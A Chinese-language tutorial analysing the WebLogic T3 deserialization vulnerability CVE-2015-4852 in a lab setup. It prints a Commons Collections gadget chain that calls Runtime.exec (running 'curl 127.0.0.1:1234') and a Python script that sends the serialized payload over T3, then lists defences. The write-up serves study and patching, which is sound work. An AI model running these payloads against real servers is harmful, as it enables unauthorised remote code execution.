Weblogic反序列化漏洞利用入门——CVE-2015-4852
字数 1662 2025-08-06 08:35:37
Weblogic反序列化漏洞利用入门——CVE-2015-4852 深度分析
1. WebLogic简介
WebLogic是Oracle公司的主要产品之一,是世界上第一个成功商业化的J2EE应用服务器软件。作为Java应用服务器,它广泛应用于企业级应用开发。
2. WebLogic历史漏洞概述
WebLogic历史上存在多个反序列化漏洞,主要分为两类:
- 利用XML解码反序列化进行远程代码执行的漏洞(如CVE-2017-10271、CVE-2017-3506)
- 利用T3协议+Java反序列化进行远程代码执行的漏洞(如CVE-2015-4852、CVE-2016-0638等)
本文重点分析CVE-2015-4852,属于第二类漏洞。
3. 前置知识
3.1 RMI、JRMP与JNDI协议
- RMI(Remote Method Invocation):Java远程方法调用
- JRMP(Java Remote Method Protocol):RMI默认使用的通信协议
- JNDI(Java Naming and Directory Interface):Java命名和目录接口
3.2 T3协议
WebLogic中的RMI通信使用高度优化的T3协议传输序列化数据,而非标准的JRMP协议。
3.3 Java序列化与反序列化
- 序列化:将Java对象转换为字节序列(
ObjectOutputStream.writeObject()) - 反序列化:将字节序列恢复为Java对象(
ObjectInputStream.readObject())
漏洞原理:控制反序列化输入,触发Runtime.getRuntime().exec()实现命令执行。
3.4 Java反射机制
反射允许程序在运行时获取类的信息并动态调用对象方法,是漏洞利用的关键技术。
4. 漏洞复现详解
4.1 环境配置
- 靶机环境:Ubuntu 16.04 + Vulhub的WebLogic Docker镜像(WebLogic 10.3.6 + JDK 1.6.0_45)
- 攻击机环境:MacOS + JDK 1.6.0_65(用于编译EXP)
4.2 远程调试配置
- 修改
setDomainEnv.sh开启调试模式 - 使用IDEA配置远程调试,添加WebLogic的modules目录为库
- 关键断点位置:
weblogic/wsee/jaxws/WLSServletAdapter.classorg/apache/commons/collections/functors/ChainedTransformer.class
4.3 Apache Commons Collections利用链分析
4.3.1 完整调用链
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
4.3.2 核心组件分析
Transformer接口
public interface Transformer {
Object transform(Object var1);
}
InvokerTransformer
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (Exception e) {
// 异常处理
}
}
ChainedTransformer
public Object transform(Object object) {
for (int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
ConstantTransformer
public Object transform(Object input) {
return this.iConstant; // 直接返回构造时传入的对象
}
4.3.3 两种利用方式
方式一:TransformedMap利用链
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"curl 127.0.0.1:1234"})
};
Transformer chain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "asdf");
Map outerMap = TransformedMap.decorate(innerMap, null, chain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
Object ins = cons.newInstance(Retention.class, outerMap);
方式二:LazyMap利用链
Map lazyMap = LazyMap.decorate(innerMap, chain);
InvocationHandler handler = (InvocationHandler) cons.newInstance(Override.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);
InvocationHandler handler1 = (InvocationHandler) cons.newInstance(Override.class, mapProxy);
4.4 T3协议利用
4.4.1 T3协议通信流程
- 客户端发送:
t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n - 服务端返回版本信息:
HELO:10.3.6.0.false - 客户端发送恶意序列化数据
4.4.2 Python利用脚本
import socket
import binascii
import struct
host = "192.168.38.2"
port = 7001
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
# 发送T3协议头
header = binascii.unhexlify("74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a50553a74333a2f2f75732d6c2d627265656e733a373030310a0a")
sock.sendall(header)
sock.recv(1024)
# 构造payload
with open("poc.ser", "rb") as f:
serialize_exp = f.read()
payload = b'\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71...' + serialize_exp + b'...'
# 添加长度前缀并发送
payload_length = len(payload) + 4
payload = struct.pack('>I', payload_length) + payload
sock.send(payload)
5. 漏洞防御建议
- 及时更新WebLogic补丁
- 限制T3协议的外部访问
- 升级commons-collections库版本
- 使用Java安全管理器限制危险操作
6. 总结
CVE-2015-4852漏洞利用WebLogic T3协议的反序列化机制,通过精心构造的Apache Commons Collections利用链实现远程代码执行。理解该漏洞需要掌握Java序列化、反射机制和WebLogic通信协议等关键技术点。